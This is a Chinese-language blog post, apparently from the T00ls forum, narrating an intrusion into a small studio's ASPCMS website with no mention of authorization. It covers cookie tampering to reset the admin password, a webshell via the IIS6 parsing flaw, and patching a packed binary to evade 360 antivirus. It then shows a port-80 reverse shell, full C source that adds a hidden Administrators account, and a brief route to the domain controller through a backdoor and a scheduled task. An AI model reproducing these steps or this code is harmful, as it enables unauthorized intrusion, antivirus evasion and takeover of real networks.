獲取webshell到內網滲透一條龍

2021-03-02 T00ls

獲取webshell到提權到內網滲透一條龍

其實相比起我這個文章來說,我覺得題目更霸氣。呵呵。閒話少說,咱們開始今天的文章

0x01
首先呢 我的目標站是一個小型的工作室公司,比較小。

網站是asp cms的asp有一個比較二蛋的漏洞,上次文章寫過了,就不再強調了。

我們首先去註冊一個用戶,然後我們利用谷歌cookie修改插件 我們把值修改為admin

將ID的值修改為1.

這樣我們就可以來修改admin的密碼了。

0x02
Aspcms拿shell就不寫了,模板修改,利用iis6解析漏洞。

0x03
我們來執行一下net user 看一下用戶,不成功缺少組建,明顯做了手腳。

0x04

再一看發現了360殺毒軟體。我不解為什麼這麼伺服器安裝360呢?蛋疼


這樣呢我們需要反彈一個shell,但是這個shell功能太渣渣。木有這個功能。

還有一個問題就是,這個伺服器只對外開放了80埠,其他的埠沒有開放。且換了個webshell去反彈shell時無法得到回話。

這樣的話我們就無法得到反彈的shell。但是我們是不是就不能反彈了呢?

不然。我們可以來進行埠復用,也就是說我們反彈的shell也通過80埠、所以我們要用個小程序。

但是貌似不免殺。我們來免殺一下。免殺360我基本就是加個殼改一下就ok了。好幾年不做免殺,這方面都忘記了。

隨便找了個殼加了一下,我們把JBE 改為JA 。Ok免殺了

Good,上傳到伺服器運行一下

接下來就是埠服用了。我們本地監聽80.然後發一個數據包到伺服器。獲得shell

突破360防黑牆我們來添加一個用戶。/add 與/ad的性質是一樣的。所以我們直接/ad添加 不攔截。當然 你也可以編譯一下C代碼。

//Code by Pnig0s1992  

//Date:2012,3,17  

#include <stdio.h>&nbsp;&nbsp;

#include <Windows.h>&nbsp;&nbsp;

#include <lm.h>&nbsp;&nbsp;

#pragma comment(lib,"Netapi32.lib")&nbsp;&nbsp;

int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName);

int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName);

BOOL ImprovePriv(LPWSTR name);

int main(INT argc,char * argv[])

{

BOOL bResult = ImprovePriv(SE_MACHINE_ACCOUNT_NAME);

if(argc < 3)

{

printf("\nCode by Pnig0s1992");

printf("\nUsage:");

printf("\n\t%s UserName Password",argv[0]);

printf("\n\tRemark:Default add to Group:Administrators.");

return -1;

}

if(bResult)

{

printf("Successfully promote priv!");

}else

{

printf("Failed promote priv.");

return -1;

}

int Namesize=MultiByteToWideChar(CP_ACP,0,argv[1],-1,NULL,0);

wchar_t *wUserName =new wchar_t[Namesize+1];

if(!MultiByteToWideChar(CP_ACP,0,argv[1],-1,wUserName,Namesize))

{

return false;

}

int Passsize=MultiByteToWideChar(CP_ACP,0,argv[2],-1,NULL,0);

wchar_t *wPassword =new wchar_t[Passsize+1];

if(!MultiByteToWideChar(CP_ACP,0,argv[2],-1,wPassword,Passsize))

{

return false;

}

LPTSTR lpName = wUserName;

LPTSTR lpPassword = wPassword;

LPWSTR lpSevName = NULL;

LPWSTR lpGroupName = L"Administrators";

AddUser(lpName,lpPassword,lpSevName);

SetGroup(lpName,lpSevName,lpGroupName);

return 0;

}

BOOL ImprovePriv(LPWSTR name)

{

HANDLE hToken;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))

{

printf("\nGet process token failed.(%d)",GetLastError());

return FALSE;

}

TOKEN_PRIVILEGES tkp;

tkp.PrivilegeCount = 1;

if(!LookupPrivilegeValue(NULL,name,&tkp.Privileges[0].Luid))

{

printf("\nLookup process priv failed.(%d)",GetLastError());

return FALSE;

}

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,0,NULL,NULL))

{

printf("\nAjust process priv failed.(%d)",GetLastError());

return FALSE;

}

CloseHandle(hToken);

return TRUE;

}

int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName)

{

USER_INFO_1 ui;

DWORD dwLevel = 1;

DWORD dwError = 0;

NET_API_STATUS nStatus;

ui.usri1_name = lpUsername;

ui.usri1_password = lpPassword;

ui.usri1_priv = USER_PRIV_USER;

ui.usri1_home_dir = NULL;

ui.usri1_comment = NULL;

ui.usri1_flags = UF_SCRIPT;

ui.usri1_script_path = NULL;

nStatus = NetUserAdd(lpServerName,dwLevel,(LPBYTE)&ui,&dwError);

if(nStatus == NERR_Success)

{

printf("\nAdd user:%S successfully!",lpUsername);

}else

{

printf("\nAdd user failed:%d.",nStatus);

}

return 0;

}

int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName)

{

NET_API_STATUS nStatus;

LOCALGROUP_MEMBERS_INFO_3 lgui;

lgui.lgrmi3_domainandname = lpUsername;

nStatus = NetLocalGroupAddMembers(lpServerName,lpGroupName,3,(LPBYTE)&lgui,1);

if(nStatus == NERR_Success)

{

printf("\nSuccessfully set USER:%S to GROUP:%S!",lpUsername,lpGroupName);

}else if(nStatus == NERR_GroupNotFound)

{

printf("\nCan't find such a group:%S.",lpGroupName);

}else

{

printf("\nSet GROUP:%S failed.",lpGroupName);

}

return 0;

}

恩。。好我們繼續
有了一個用戶 我們去嗅探。但是很可惜。啥子都沒有。

0x05
既然沒辦法 拿咱就在內網滲透上想想辦法

我們先生成一個windows可執行後門

然後我們調用模塊來監聽,獲得一個會話

下面我們進行內網滲透,調用一個模塊

然後我們查看一下域,找到域管理

我們來劫持域管理

獲得shell然後我們再來查看一下域

我們獲得域管理的時間

然後我們計劃任務 2分鐘之後執行我們的後門程序

Ok 獲得會話。然後域控你有了,你懂的。

相關焦點

  • Web安全:內網滲透工具
    事實上,黑客們一般談論的滲透都是指內網的滲透(包括外網等公開的網絡空間),即黑客在獲取目標網站的webshell並進入內網以後,就可通過內網滲透工具不斷提升自己權限,以達到控制整個內網的目的。圖1  流光2、lcxlcx是十分著名的內網埠轉發工具。
  • [內網滲透] CFS三層網絡環境實戰
    target2(ubuntu) 雙網卡存在兩個內網網段:內網1:192.168.22.22,僅主機模式內網2:192.168.33.22 獲取到admin表的帳號密碼,解密為:123qwe修改tag下的index.php文件,插入webshell
  • 手把手教你入門內網滲透之一
    在文章中我將儘可能把內容描述的通俗易懂一些,因為目前網上關於內網安全的文章不多也不少,但是對於新手來說都不怎麼友好,我在一開始學習的時候也遇到了許多困難,所以我想盡我所能的讓讀者能夠理解內網安全以及一系列的滲透過程。
  • 如何獲取WebShell經驗總結
    什麼是WebShell滲透測試工作的一個階段性目標就是獲取目標伺服器的操作控制權限,於是WebShell便應運而生。Webshell中的WEB就是web服務,shell就是管理攻擊者與作業系統之間的交互。Webshell被稱為攻擊者通過Web伺服器埠對Web伺服器有一定的操作權限,而webshell常以網頁腳本的形式出現。
  • 滲透測試 對文件上傳安全檢測與webshell分析
    前段時間我們SINE安全收到客戶的滲透測試服務委託,在這之前,客戶網站受到攻擊,數據被篡改,要求我們對網站進行全面的滲透測試,包括漏洞的檢測與測試,邏輯漏洞.垂直水平越權漏洞,文件上傳漏洞.等等服務項目,在進行安全測試之前,我們對客戶的網站大體的了解了一下,整個平臺網站,包括APP,安卓端,IOS端都採用的JSP+oracle資料庫架構開發,前端使用VUE,伺服器是linux
  • 2021暗月滲透測試全棧學習班
    18 多重網段內網滲透 socket代理  proxychains設置 nmap的掃描19 多重網段內網滲透資料庫伺服器 20 多重網段內網滲透獲取資料庫伺服器哈希和明文21 多重網段內網滲透第三層網絡滲透目標WEB伺服器22 多重網段內網滲透第三層  PYTHON編寫phpstudy後門利用工具23 多重網段內網滲透第三層  SocksCap代理訪問目標WEB伺服器24 多重網段內網滲透第三層
  • 滲透測試內網滲透之信息收集(一)
    本系列文章為作者平時學習內網滲透中所學匯總記錄,難免會有錯誤和不當之處,有相關問題可以留言指正。
  • 2020暗月滲透測試全棧學習班
    7課01 內網滲透篇_隧道技術ssh隧道02 內網滲透篇 埠轉發與埠映射03 內網滲透篇_隧道技術socket隧道04 內網滲透篇_跨路由掃描05 內網滲透篇_常見的內網測試06 內網滲透篇_域的搭建07 內網滲透篇一次完整的域滲透第十五天 exp編寫篇8課01 注入exp的簡單編寫02 簡單注入exp編寫 python03 POST注入exp編寫04 getshell exp編寫05 需要驗證的
  • 內網安全攻防之內網滲透測試基礎
    可以簡單地把域理解成升級版的「工作組」,相對工作組而言,它有一個更加嚴格的安全管理控制機制,如果你想訪問域內的資源,就必須擁有一個合法的身份登錄到該域中,而你對該域內的資源擁有什麼樣的權限,還需要取決於該域中的用戶身份。域和工作組的區別就是:工作組是對等網絡,域是 B/S 架構,集中式管理。
  • 內網滲透|ATT&CK紅隊評估實戰靶場-2
    ,如上期所說,此靶場難度為易,非常適合練習內網滲透各種姿勢!0x01:橫向移動開始整活一開始通過VM1的phpmyadmin日誌寫馬獲取到了蟻劍shell,上傳木馬進行CS上線進程注入提權為system權限右鍵視圖中第一個會話選擇執行-
  • 內網滲透學習-信息收集篇
    介紹當我們通過滲透進入內網環境後
  • 基於AWD比賽的蠕蟲webshell(四)
    歷史文章:蠕蟲webshell代碼功能詳情:基於AWD比賽的蠕蟲webshell蠕蟲webshell復活框架:基於AWD比賽的蠕蟲webshell(二)蠕蟲webshell適配msf、前端傳播與反滲透 :基於AWD比賽的蠕蟲webshell(三)蠕蟲webshell代碼混淆先說混淆後的效果,報1級變量函數,但考慮到蠕蟲webshell是要每個php文件都要插入這麼大段代碼
  • 技術乾貨 | 內網滲透學習-信息收集篇
    介紹當我們通過滲透進入內網環境後,面對的是一片未知區域。
  • 內網滲透之命令行滲透 - 滲透紅隊筆記
    大家好,這裡是 滲透攻擊紅隊 的第 19 篇文章,本公眾號會記錄一些我學習紅隊攻擊的復現筆記(由淺到深),不出意外每天一更在內網滲透的時候,如果想要登錄遠程桌面,會容易暴露自己,所以儘可能學會使用命令行操作會在滲透實際過程中有很大的幫助
  • 常規web滲透測試漏洞合集
    弱口令漏洞描述由於系統中存在有弱口令,導致攻擊者通過弱口令可輕鬆登錄系統中,從而進行下一步的攻擊,如上傳webshell,獲取敏感數據!  另外攻擊者利用弱口令登錄網站管理後臺,可任意增刪改等操作,從而造成負面影響!
  • 內網滲透 | 基於IPC的橫向移動
    .* \\192.168.1.1\c$\temp /E /Y /D(上傳本地文件到目標的:c\windows\temp\目錄下)copy \\192.168.1.1\c$\plugin_update.exe c:\(下載目標文件到本地c盤下)9.創建計劃任務之schtasksschtasks /create /tn "plugin_update" /tr c:
  • 淺析內網信息收集
    >文章前言在滲透測試中信息收集的深度與廣度以及對關鍵信息的提取,直接或間接的決定了滲透測試的質量,本篇文章主要對內網中信息收集做一個簡單的歸納以及介紹主機信息在內網滲透測試中,當我們拿下一臺或多臺可控的主機(大多數情況下都是邊界主機)時,我們首先要對當前主機的信息進行簡易收集,常見的信息包括以下幾個方面:網絡配置通過執行以下命令查看當前機器是否處於內網,以及內網網段是多少,以及DNS地址、域名信息等等
  • Webshell通用免殺的思考
    言歸正傳,在上一篇文章中,講解了webshell如何繞過RASP的方法論,並根據方法論設計了 webshell。雖然有一些繞過方法,但RASP依然是webshell檢測中最強的存在,如果再和HIDS聯動,那些繞過方法在數據捕獲層面都會失效,縱深防禦不是說說而已。今天說的承接上文,依然是webshell的繞過,不過不叫繞過,叫免殺。
  • 滲透測試公司實戰注入攻擊拿下客戶網站
    近來,利用sql注入、xss和文件上傳漏洞,成功getshell的一個客戶網站(必須要拿到客戶授權滲透測試許可證明才可以,不得違法入侵),這裡簡單記錄一下整個過程,與大家分享。收集信息,查找漏洞。利用漏洞,獲得webshell。次日醒來,進入XSS平臺,驚喜連連。XSS直接提供給管理員cookie。使用捕獲的cookie,結合burp成功在後臺登錄,繞過了認證碼。到後臺去看了一下覺得有用的數據,看了一下會員人數,反正這個貨足夠了,一定會完蛋的。然後,找上傳點,試著拿到webshell,又是一遍又一遍,找出文件的上傳漏洞(果然,後臺的防護是弱一點)。
  • 「技術視界」網站防入侵,如何檢測webshell?
    因此,檢測webshell對網站的安全非常重要。特點1.存在系統調用的命令執行函數,如eval,system,cmd_shell,assert等;2.存在系統調用的文件操作函數,如fopen,fwrite,readdir等;3.存在資料庫操作函數,調用系統自身的存儲過程來連接資料庫操作;4.隱匿性與偽裝性,可隱藏到正常的web源碼中;5.訪問ip、次數少,頁面孤立;6.會產生payload流量,可以通過流量鏡像與web